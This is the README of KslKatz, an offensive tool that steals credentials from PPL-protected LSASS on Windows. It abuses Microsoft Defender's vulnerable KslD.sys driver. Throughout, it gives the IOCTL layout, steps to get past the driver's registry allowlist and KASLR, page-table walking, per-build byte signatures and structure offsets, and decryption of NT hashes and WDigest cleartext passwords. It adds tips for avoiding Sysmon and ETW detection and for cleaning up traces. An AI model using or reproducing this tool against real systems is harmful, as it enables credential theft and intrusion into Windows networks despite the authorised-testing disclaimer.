BYOVD Credential Extractor using Microsoft Defender's KslD.sys
Extract MSV1_0 NT hashes and WDigest cleartext passwords from PPL-protected LSASS using only Microsoft-signed components. No third-party driver. Everything ships pre-installed with Windows Defender.
Developed in close collaboration with opus.
- Overview
- Demo Output
- The Vulnerability
- Architecture
- Attack Chain
- Embedded Driver
- Comparison with Other Tools
- Supported Windows Versions
- Building
- Project Structure
- Credits
- Responsible Disclosure
- Disclaimer
KslKatz combines two proven techniques into a single standalone executable:
- KslD.sys BYOVD for kernel/physical memory access, bypassing PPL protection on LSASS
- GhostKatz-style local signature scanning for resolving lsasrv.dll and wdigest.dll internals without expensive remote memory scans
The result is a tool that reads LSASS credentials through physical memory using only a Microsoft-signed driver that is already present on disk, requires no internet access, no additional files, and cleans up after itself.
| Package | Data | Condition |
|---|---|---|
| MSV1_0 | NT Hash, LM Hash, SHA1 Hash per logon session | Always available after interactive logon |
| WDigest | Cleartext password (UTF-16) | Requires WDigest caching enabled (registry, GPO, or in-memory patch) |
C:\> KslKatz.exe
[*] Windows Build 20348
[*] Setting up KslD driver...
Deploying embedded driver to vKslD.sys...
Driver deployed and verified
[+] Driver loaded
[*] KASLR bypass (SubCmd 2)...
idtr=0xfffff8000b6cb000 cr3=0x6d5000
ntoskrnl=0xfffff8000bc1f000
[*] Finding lsass.exe...
Handle to SYSTEM (PID 4), our PID=5452, handle=0x124
Handle table: 35540 entries
SYSTEM EPROCESS=0xffffe60d6e099040
Offsets: PID=0x440 Links=0x448 Name=0x5a8
[*] Walk ActiveProcessLinks from SYSTEM to find lsass.exe
lsass.exe PID=724 DTB=0x1269e000
PEB=0x3ab715f000 LDR=0x7ffb7e033140
[*] Finding lsasrv.dll...
lsasrv.dll base=0x7ffb7ae80000 size=0x190000
[*] Extracting LSA encryption keys...
LSA keys found
[*] Finding LogonSessionList...
[*] Extracting MSV1_0 credentials...
[*] Checking WDigest...
[*] Finding wdigest.dll in lsass...
wdigest.dll base=0x7ffb7a3e0000 size=0x51000
l_LogSessList at 0x7ffb7a42a5c8 (RVA=0x4a5c8)
[*] Restoring driver configuration...
Removed deployed vKslD.sys
======================================================================
MSV1_0 CREDENTIALS
======================================================================
[+] 2 credential(s):
YOURDOM\admin
NT: aad3b435b51404eeaad3b435b51404ee
YOURDOM\svc_backup
NT: 31d6cfe0d16ae931b73c59d7e0c089c0
======================================================================
WDIGEST CREDENTIALS (Cleartext)
======================================================================
[+] 1 credential(s):
YOURDOM\admin
Password: Summer2025!
======================================================================
[*] Total: 2 MSV1_0, 1 WDigest
KslD.sys is a kernel driver shipped as part of Microsoft Defender. It is Microsoft-signed, loaded as a trusted kernel module, and exposes a device object \\.\KslD accessible from usermode via CreateFileW.
Microsoft ships two versions of this driver side by side:
| Version | Size | Location | MmCopyMemory | Status |
|---|---|---|---|---|
| Patched | ~82 KB | drivers\wd\KslD.sys |
Nulled out | Active (ImagePath points here) |
| Vulnerable | ~333 KB | drivers\KslD.sys |
Functional | Sitting on disk, never removed |
The patched version deliberately clears the MmCopyMemory function pointer during initialization, disabling SubCmd 12. The vulnerable version stores it. Both binaries are Microsoft-signed and trusted by the OS. Defender platform updates drop the patched version into the wd\ subdirectory and update ImagePath, but the old vulnerable version is never deleted from the drivers\ directory.
KslKatz simply switches ImagePath back to the vulnerable version via ChangeServiceConfigW and restarts the service.
Why the old driver is still on disk
Microsoft's public documentation shows that KB4052623 delivers Defender platform updates, including a historical move of Defender drivers to System32\drivers\wd\. Windows servicing keeps WinSxS-backed component-store files via NTFS hard links and only removes superseded component versions during cleanup. On tested systems, this explains why the newer 82 KB KslD.sys arrives through the Defender platform-update path while the older 333 KB System32\drivers\KslD.sys remains as the current CBS-backed component-store copy until explicitly superseded by a newer CBS version.
The core of the vulnerability is SubCmd 12, an unrestricted MmCopyMemory() wrapper exposed to usermode:
// IOCTL 0x222044, SubCmd 12
struct IoReadInput {
DWORD SubCmd; // 12
DWORD Reserved; // 0
QWORD Address; // Target virtual or physical address
QWORD Size; // Number of bytes to read
DWORD Flags; // 1 = Physical, 2 = Virtual
DWORD Padding;
};
// Output: raw memory contents, up to Size bytes| Flag | Mode | Description |
|---|---|---|
| 1 | Physical | Reads any physical address via MmCopyMemory. Not subject to PPL, EPROCESS protection, or any usermode API restriction. This is the PPL bypass primitive. |
| 2 | Virtual | Reads kernel virtual addresses directly. Used for walking kernel structures (EPROCESS, IDT, ntoskrnl) without manual page table translation. |
SubCmd 2 provides additional information leaks:
// IOCTL 0x222044, SubCmd 2
// Returns CPU register name/value pairs (8 bytes name + 8 bytes value each)
// Key registers: CR3 (current DTB), IDTR (IDT base), CR0, CR4The combination of SubCmd 2 (KASLR defeat) and SubCmd 12 (arbitrary read) provides a complete kernel memory introspection capability from usermode.
The driver validates the calling process by comparing its image path against the AllowedProcessName registry value stored under HKLM\SYSTEM\CurrentControlSet\Services\KslD. This value contains a full NT device path like \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.x\MsMpEng.exe.
This check is trivially bypassed because the registry value is:
- Editable by any local administrator
- Not protected by Defender's tamper protection mechanisms
- Not validated against code signing, binary integrity, or any cryptographic property
- A plain string comparison with no additional verification
KslKatz writes its own NT device path to AllowedProcessName, restarts the service, and opens the device handle.
Microsoft maintains a Vulnerable Driver Blocklist (DriverSiPolicy.p7b) enforced via HVCI to prevent BYOVD attacks. From their documentation:
"The vulnerable driver blocklist is designed to help harden systems against non-Microsoft-developed drivers across the Windows ecosystem."
Microsoft's own drivers are excluded from the blocklist by design.
KslKatz needs to find the lsass.exe EPROCESS structure in kernel memory to obtain its Directory Table Base (DTB/CR3) for page table walks. The approach uses the SystemHandleInformation API to leak a kernel object pointer:
1. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, PID=4)
-> Obtains a handle to the SYSTEM process
2. RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE)
-> Required for Object pointers in handle table results
3. NtQuerySystemInformation(SystemHandleInformation)
-> Returns all open handles in the system with their Object pointers
-> Find our handle by matching (our PID, our handle value)
-> Object field = kernel address of SYSTEM EPROCESS
4. Read SYSTEM EPROCESS via SubCmd 12 (virtual read, 0x800 bytes)
-> Scan for PID=4 followed by a kernel pointer -> UniqueProcessId + ActiveProcessLinks offsets
-> Scan for "System\0" string -> ImageFileName offset
-> All offsets detected dynamically, no hardcoded values per build
5. Walk ActiveProcessLinks doubly-linked list
-> Read ImageFileName at each EPROCESS
-> Match "lsass.exe" -> extract DTB from EPROCESS+0x28
-> Auto-detect PEB offset by scanning for valid usermode pointer with PEB/LDR structure
Why not use PsInitialSystemProcess?
Tools like GhostKatz and Mimikatz locate the SYSTEM EPROCESS by resolving PsInitialSystemProcess from ntoskrnl.exe exports (EnumDeviceDrivers + LoadLibrary("ntoskrnl.exe") + GetProcAddress). This approach has two problems:
-
LoadLibrary triggers ETW/Sysmon events. Loading ntoskrnl.exe into the process generates Image Load events (Sysmon Event 7) that defensive tools monitor.
-
Export directory is broken on recent builds. On Windows 11 Build 26200+, ntoskrnl's PE export directory header has
exp_sz=0x6b(only 107 bytes), with actual export tables at separate RVAs. Both Python and C++ PE parsers fail to resolve exports from this layout.
The SystemHandleInformation approach avoids both problems: no DLL loading, no export parsing, and it works on all tested builds from 7600 to 26200.
Protected Process Light (PPL) was designed to prevent credential theft by blocking OpenProcess and ReadProcessMemory calls against LSASS from usermode. However, PPL only protects the usermode API path. It has no authority over kernel-mode physical memory operations.
KslD.sys SubCmd 12 calls MmCopyMemory() with attacker-supplied physical addresses. This kernel API operates below the process protection layer and reads physical memory pages regardless of which process owns them.
KslKatz translates lsass virtual addresses to physical addresses using a manual page table walk. GhostKatz uses Superfetch (NtQuerySystemInformation Class 79) for this purpose, building a global PFN-to-VA translation table. Both approaches achieve the same result through different means.
lsass DTB (from EPROCESS+0x28)
|
CR3 -> PML4 Table (512 entries, each 8 bytes)
-> PML4E[va_bits[47:39]] -> PDPT Table
-> PDPTE[va_bits[38:30]] -> Page Directory
-> Large page (1GB)? -> PA = (entry & mask) | va_offset
-> PDE[va_bits[29:21]] -> Page Table
-> Large page (2MB)? -> PA = (entry & mask) | va_offset
-> PTE[va_bits[20:12]] -> 4KB Page
-> PA = (PTE & 0xFFFFFFFFF000) | va_bits[11:0]
Each level requires one physical read via SubCmd 12. A full translation takes 4-5 IOCTLs. The implementation also handles transition pages (standby list, bit 11 set in PTE) which are common for LSASS memory that has been trimmed from the working set but not paged out.
LSASS encrypts all cached credentials using two symmetric keys (AES-256 and 3DES-168) and a 16-byte initialization vector. These are stored in global variables inside lsasrv.dll and referenced by code patterns that Mimikatz originally identified.
KslKatz uses a local file scan approach instead of scanning remote lsass memory:
1. ReadFile("C:\Windows\System32\lsasrv.dll")
-> Read entire DLL as raw bytes (std::ifstream, no LoadLibrary, no ETW event)
2. Parse PE header manually
-> Find .text section: raw_offset, raw_size, virtual_address
3. Scan .text raw bytes for signature patterns
-> 9 signature variants covering Windows Vista through 11 24H2
-> Each signature has offsets to IV, 3DES key ptr, and AES key ptr
4. Resolve RIP-relative displacements from raw bytes
-> disp32 at sig_offset + iv_off
-> target_rva = text_virtual_address + instruction_offset + 4 + disp32
5. Convert RVA to lsass virtual address
-> target_va = lsasrv_base_in_lsass + target_rva
6. Read actual key data from lsass (3 targeted physical reads)
-> IV: 16 bytes directly
-> h3DesKey and hAesKey: pointer dereference + BCRYPT structure traversal
Why read from disk instead of LoadLibrary?
LoadLibraryA("lsasrv.dll") would load the DLL into our process, which:
- Triggers Sysmon Event 7 (Image Load) and ETW
Microsoft-Windows-Kernel-Processevents - Executes
DllMainwith potential side effects - Appears in the PEB module list, visible to any process inspector
Reading the file from disk with std::ifstream generates only a standard file read operation. No image load event, no DllMain execution, no PEB entry. The raw bytes contain the same .text section with the same signatures and the same RIP-relative displacements. The only difference is that addresses must be computed as RVAs (relative to section virtual address) rather than absolute pointers.
This is also how KslKatz differs from GhostKatz, which uses LoadLibraryA for its local signature scans.
BCRYPT key structure traversal
The LSA key variables (hAesKey, h3DesKey) are pointers to BCRYPT_HANDLE_KEY structures. The actual symmetric key bytes are buried three levels deep:
hAesKey (global variable in lsasrv.dll .data section)
|
poi(hAesKey) -> BCRYPT_HANDLE_KEY
+0x00: size
+0x04: tag = "UUUR" (0x55555552) <- validation checkpoint
+0x08: hAlgorithm
+0x10: key pointer -----------------> BCRYPT_KEY81
+0x00: size
+0x04: tag = "MSSK" (0x4D53534B) <- validation checkpoint
+0x08: type, unk0-unk9 fields
+0x38: HARD_KEY
+0x00: cbSecret (ULONG, key length in bytes)
+0x04: data[cbSecret] <- actual AES/3DES key bytes
The hk_off field in the signature table specifies the offset to HARD_KEY within the key structure. This varies by Windows version:
| Structure | hk_off | Windows Versions |
|---|---|---|
BCRYPT_KEY |
0x18 |
Vista, 7 |
BCRYPT_KEY80 |
0x28 |
8, 8.1 |
BCRYPT_KEY81 |
0x38 |
10, 11, Server 2016+ |
KslKatz validates both the "UUUR" and "MSSK" tags before reading key data to prevent false positives from stale or incorrect signature matches.
All supported LSA key signatures
| Pattern | IV Offset | DES Offset | AES Offset | hk_off | Windows Versions |
|---|---|---|---|---|---|
83 64 24 30 00 48 8d 45 e0 44 8b 4d d8 48 8d 15 |
71 | -89 | 16 | 0x38 | 11 22H2+ |
| Same pattern | 58 | -89 | 16 | 0x38 | 11 21H2 |
| Same pattern | 67 | -89 | 16 | 0x38 | 10 1809-1909 |
| Same pattern | 61 | -73 | 16 | 0x38 | 10 1507-1803 |
83 64 24 30 00 44 8b 4d d8 48 8b 0d |
62 | -70 | 23 | 0x38 | 8.1 (KEY81) |
| Same pattern | 62 | -70 | 23 | 0x28 | 8 (KEY80) |
| Same pattern | 58 | -62 | 23 | 0x28 | 8 (alternate) |
83 64 24 30 00 44 8b 4c 24 48 48 8b 0d |
59 | -61 | 25 | 0x18 | 7 |
| Same pattern | 63 | -69 | 25 | 0x18 | Vista |
MSV1_0 is the primary authentication package in Windows. It caches NT hashes for every interactive logon session. The LogonSessionList is a linked list (or array of linked lists on newer builds) inside lsasrv.dll containing all active sessions.
KslKatz locates LogonSessionList using the same local-file-scan technique, then walks the list via physical memory reads:
LogonSessionList[0..count-1] (array of list heads, count from LogonSessionListCount)
|
poi(head) -> Flink
|
Entry (KIWI_MSV1_0_LIST_63)
+0x00: Flink -> next entry
+0x70: LUID -> logon session ID
+0x90: Username (UNICODE_STRING) -> e.g. "admin"
+0xA0: Domain (UNICODE_STRING) -> e.g. "YOURDOM"
+0xD0: pSid -> user SID
+0x108: Credentials pointer ---------> KIWI_MSV1_0_CREDENTIALS
+0x00: next -> credential chain (linked list)
+0x10: PrimaryCredentials ---------> KIWI_MSV1_0_PRIMARY_CREDENTIALS
+0x00: next -> primary cred chain
+0x08: Primary (ANSI_STRING) -> package name, must be "Primary"
+0x18: encrypted blob length
+0x20: encrypted blob pointer ---> encrypted MSV1_0_PRIMARY_CREDENTIAL
The encrypted blob is decrypted using the LSA keys:
- If
blob_length % 8 != 0: AES-CFB128 with hAesKey + full IV (16 bytes) - If
blob_length % 8 == 0: 3DES-CBC with h3DesKey + IV[:8]
The decrypted MSV1_0_PRIMARY_CREDENTIAL structure contains:
| Offset | Size | Field |
|---|---|---|
| 0x40 | 1 | isIso (Credential Guard isolated) |
| 0x41 | 1 | isNtOwfPassword (NT hash present) |
| 0x46 | 16 | NT Hash |
| 0x56 | 16 | LM Hash |
| 0x66 | 20 | SHA1 Hash |
KslKatz checks isIso == 0 and isNtOwfPassword == 1 before extracting hashes. If Credential Guard is active, isIso will be set and the actual hashes are isolated in the Virtualization-Based Security (VBS) enclave, inaccessible even through physical memory reads.
When are MSV1_0 credentials cached?
| Logon Type | Scenario | Credentials Cached |
|---|---|---|
| Type 2 (Interactive) | Console login, UAC elevation | Yes, NT/LM/SHA1 |
| Type 10 (RemoteInteractive) | RDP session | Yes, NT/LM/SHA1 |
| Type 9 (NewCredentials) | runas /netonly |
Yes, for the new identity |
| Type 5 (Service) | Service running as domain account | Yes, while service runs |
| Type 3 (Network) | SMB/NTLM network authentication | Session token only, no hash cache |
Credentials persist for the lifetime of the logon session. A user logged in via RDP with a disconnected (not logged off) session has their hashes in memory until the session is terminated. This is why credential hygiene and session management matter.
All supported LogonSessionList signatures
| Pattern | Offset | min_build | Windows Version |
|---|---|---|---|
45 89 34 24 48 8b fb 45 85 c0 0f |
25 | 26200 | 11 24H2/25H2 |
45 89 34 24 8b fb 45 85 c0 0f |
25 | 26200 | 11 24H2 (alt) |
45 89 37 49 4c 8b f7 8b f3 45 85 c0 0f |
27 | 22631 | 11 22H2-23H2 |
45 89 34 24 4c 8b ff 8b f3 45 85 c0 74 |
24 | 20348 | Server 2022, 11 21H2 |
33 ff 41 89 37 4c 8b f3 45 85 c0 74 |
23 | 18362 | 10 1903-2004 |
33 ff 41 89 37 4c 8b f3 45 85 c9 74 |
23 | 17134 | 10 1803 |
33 ff 45 89 37 48 8b f3 45 85 c9 74 |
23 | 15063 | 10 1703 |
33 ff 41 89 37 4c 8b f3 45 85 c0 74 |
16 | 10240 | 10 1507-1607 |
WDigest is an older HTTP Digest authentication protocol. When enabled, wdigest.dll caches plaintext passwords in an internal doubly-linked list called l_LogSessList so they can be reused for subsequent authentications.
KslKatz locates l_LogSessList by reading wdigest.dll from disk and scanning for the signature pattern:
Disassembly at the signature location:
48 8d 0d xx xx xx xx lea rcx, [rip+disp32] ; rcx = &l_LogSessList
48 3b d9 cmp rbx, rcx ; <-- signature: 48 3b d9 74
74 xx je short skip
The disp32 displacement is at signature_offset - 4 in the raw .text bytes.
target_rva = text_virtual_address + signature_offset + disp32
l_LogSessList_va = wdigest_base_in_lsass + target_rva
The list structure:
l_LogSessList (Head)
|
Flink -> KIWI_WDIGEST_LIST_ENTRY
+0x00: Flink -> next entry
+0x08: Blink -> previous entry
+0x10: UsageCount (ULONG)
+0x18: This (self-pointer)
+0x20: LUID (logon session ID)
+0x28: (unknown/reserved)
+0x30: Username (UNICODE_STRING) -> e.g. "admin"
+0x40: Domain (UNICODE_STRING) -> e.g. "YOURDOM"
+0x50: Password (UNICODE_STRING) -> encrypted cleartext password
The password at offset +0x50 is encrypted with 3DES-CBC using the same h3DesKey and IV[:8] extracted during LSA key extraction. After decryption, the result is the plaintext password as a UTF-16LE string.
For machine accounts (username ending with $), the decrypted password is a binary blob rather than readable text. KslKatz outputs these as hex strings.
When is WDigest caching active?
WDigest cleartext caching is controlled by g_fParameter_UseLogonCredential inside the loaded wdigest.dll. This variable can be set through multiple paths:
| Method | Persistence | Detection |
|---|---|---|
Registry: HKLM\...\WDigest\UseLogonCredential = 1 |
Survives reboot | Easily auditable |
| Group Policy | Survives reboot | GPO audit trail |
In-memory patch of g_fParameter_UseLogonCredential to 1 |
Until reboot | No registry artifact |
In-memory patch of g_IsCredGuardEnabled to 0 |
Until reboot | Bypasses Credential Guard check |
On Windows 10+ the default is UseLogonCredential=0 (caching disabled). On Windows 7/8, the default is enabled.
KslKatz always attempts WDigest extraction regardless of the registry value, because the in-memory state may differ from what the registry says (e.g., after in-memory patching via tools like NativeBypassCredGuard). If l_LogSessList is empty or unmapped, KslKatz reports this without error.
KslKatz Execution Flow
+------------------------------------------------------------------------+
| |
| 1. DRIVER SETUP |
| Check drivers\KslD.sys (SHA256) -> found? use it |
| Check drivers\vKslD.sys (SHA256) -> found? use it |
| Neither? -> deploy from embedded payload, verify SHA256 |
| ChangeServiceConfigW(ImagePath = vulnerable driver) |
| RegSetValueEx(AllowedProcessName = our NT device path) |
| StartServiceW(KslD) -> CreateFileW("\\.\KslD") |
| |
| 2. KASLR BYPASS |
| SubCmd 2 -> IDTR base address + CR3 |
| Read IDT entries -> find lowest ISR address |
| Scan backwards (page-aligned) for MZ header -> ntoskrnl base |
| |
| 3. EPROCESS DISCOVERY |
| OpenProcess(PID 4) -> NtQuerySystemInformation(HandleInfo) |
| -> SYSTEM EPROCESS kernel address |
| Detect PID/Links/Name offsets dynamically from SYSTEM EPROCESS |
| Walk ActiveProcessLinks -> find lsass.exe |
| Read DTB from EPROCESS+0x28, auto-detect PEB offset |
| |
| 4. LSA KEY EXTRACTION |
| ReadFile(lsasrv.dll) -> local .text signature scan |
| RIP-relative RVA resolution -> 3 targeted physical reads |
| BCRYPT_HANDLE_KEY -> BCRYPT_KEY81 -> HARD_KEY -> AES + 3DES + IV |
| |
| 5. MSV1_0 EXTRACTION |
| ReadFile(lsasrv.dll) -> local scan for LogonSessionList |
| Walk linked list via physical reads |
| Decrypt Primary credentials -> NT / LM / SHA1 hashes |
| |
| 6. WDIGEST EXTRACTION |
| ReadFile(wdigest.dll) -> local scan for l_LogSessList |
| Walk linked list via physical reads |
| 3DES-CBC decrypt -> cleartext passwords |
| |
| 7. CLEANUP |
| ChangeServiceConfigW(original ImagePath) |
| RegSetValueEx(original AllowedProcessName) |
| StartServiceW (restore original driver state) |
| DeleteFileW(vKslD.sys) if we deployed it |
| |
+------------------------------------------------------------------------+
KslKatz embeds the vulnerable 333KB KslD.sys directly as a compiled-in C array (driver_payload.h). This makes the tool fully standalone with no external file dependencies.
| Priority | Path | Condition | Action |
|---|---|---|---|
| 1 | drivers\KslD.sys |
Exists, size=333216, SHA256 match | Use directly, no file written |
| 2 | drivers\vKslD.sys |
Exists, size=333216, SHA256 match | Use directly, no file written |
| 3 | Embedded payload | Neither found | Write to vKslD.sys, verify SHA256, delete on cleanup |
Driver SHA256: bd17231833aa369b3b2b6963899bf05dbefd673db270aec15446f2fab4a17b5a
| Feature | KslKatz | GhostKatz | Mimikatz | KernelKatz |
|---|---|---|---|---|
| Driver | Microsoft-signed KslD.sys | Third-party vuln drivers | None (usermode) | Third-party vuln drivers |
| Read primitive | MmCopyMemory via IOCTL |
Byte-by-byte phys read | OpenProcess + ReadProcessMemory |
Kernel read |
| PPL bypass | Yes (physical reads) | Yes (physical reads) | No (blocked by PPL) | Yes |
| Address translation | Page table walk | Superfetch PFN database | N/A (usermode) | Varies |
| Signature scan | Local file read (no ETW) | LoadLibrary (ETW event) |
In-process | Varies |
| EPROCESS discovery | Handle table leak | PsInitialSystemProcess export |
OpenProcess |
Varies |
| MSV1_0 hashes | Yes | Yes | Yes | Yes |
| WDigest cleartext | Yes | Yes | Yes | Varies |
| Standalone EXE | Yes (embedded driver) | No (BOF + driver file) | Yes | No |
| Cleanup | Full restore (SCM + registry) | Service delete | N/A | Varies |
| Version | Build | MSV1_0 | WDigest | Tested | Notes |
|---|---|---|---|---|---|
| Windows 7 | 7600 | Yes | Yes | No | WDigest enabled by default |
| Windows 8 | 9200 | Yes | Yes | No | WDigest enabled by default |
| Windows 8.1 | 9600 | Yes | Yes | No | WDigest enabled by default |
| Windows 10 1507-1607 | 10240-14393 | Yes | Yes | No | WDigest disabled by default |
| Windows 10 1703 | 15063 | Yes | Yes | No | |
| Windows 10 1803 | 17134 | Yes | Yes | No | |
| Windows 10 1809-1909 | 17763-18363 | Yes | Yes | No | |
| Windows 10 2004-22H2 | 19041-19045 | Yes | Yes | No | |
| Windows Server 2022 | 20348 | Yes | Yes | Yes | |
| Windows 11 21H2-23H2 | 22000-22631 | Yes | Yes | No | |
| Windows 11 24H2/25H2 | 26100-26200 | Yes | Yes | Yes |
Note: The vulnerable 333KB KslD.sys must be present on the target system or will be deployed from the embedded payload. Systems freshly installed with recent Defender versions may only have the patched 82KB version in
drivers\wd\.
Requirements: Visual Studio 2022, C++20 (MSVC v143 toolset), Windows SDK 10.0
git clone https://github.com/S1lky/KslKatz.git
cd KslKatzOpen KslKatz.sln in Visual Studio 2022. Select x64 Release. Build.
Output: bin\Release\KslKatz.exe (~700KB standalone, no runtime dependencies)
KslKatz/
KslKatz.sln Visual Studio 2022 solution
KslKatz.vcxproj Project file (x64, C++20, v143)
KslKatz.vcxproj.filters Source file grouping
src/
common.h Shared types, unaligned read helpers, credential structs
driver.h / driver.cpp KslD IOCTL interface, SCM service management,
SHA256 driver verification, embedded driver deployment
driver_payload.h Vulnerable KslD.sys as uint8_t array (333KB, 20K lines)
memory.h / memory.cpp Page table walk (PML4/PDPT/PD/PT + transition pages),
proc_read, read_ptr, resolve_rip, read_ustr, pattern scan
crypto.h / crypto.cpp AES-CFB128 (manual ECB+XOR), 3DES-CBC, RC4, DES-ECB,
MD5, SHA256 -- all via Windows CNG (bcrypt.lib)
lsa.h / lsa.cpp KASLR bypass, EPROCESS leak via SystemHandleInformation,
LSA key extraction (local file scan + BCRYPT traversal),
LogonSessionList walk, MSV1_0 credential decryption
wdigest.h / wdigest.cpp l_LogSessList location via local file scan,
linked list walk, 3DES-CBC password decryption
main.cpp Orchestration, phase sequencing, output formatting
- Mimikatz by Benjamin Delpy -- LSA structure definitions, signature patterns, credential decryption logic, and the foundational research that made all of this possible
- GhostKatz by Julian Pena and Eric Esquivel -- local signature scan approach, WDigest list walking, and the Superfetch address translation concept
- KslDump by Andrea Bocchetti -- KslD.sys BYOVD vulnerability discovery, IOCTL reverse engineering, and the original Python PoC
The KslD.sys vulnerability was reported to Microsoft Security Response Center (MSRC). It was closed as "Not a Vulnerability" with the following rationale:
"The described attack depends on pre-existing administrative privileges. No evidence was provided showing how those privileges were obtained. Reports that assume administrative or root access without demonstrating a vulnerability that grants those privileges are considered lower impact, as an attacker with such access could already perform more severe actions."
No CVE was assigned. No fix was issued. The vulnerable driver remains on disk.
This tool is provided for authorized security testing and educational purposes only. Use it only on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
Built with C++20 | No external dependencies | Single standalone executable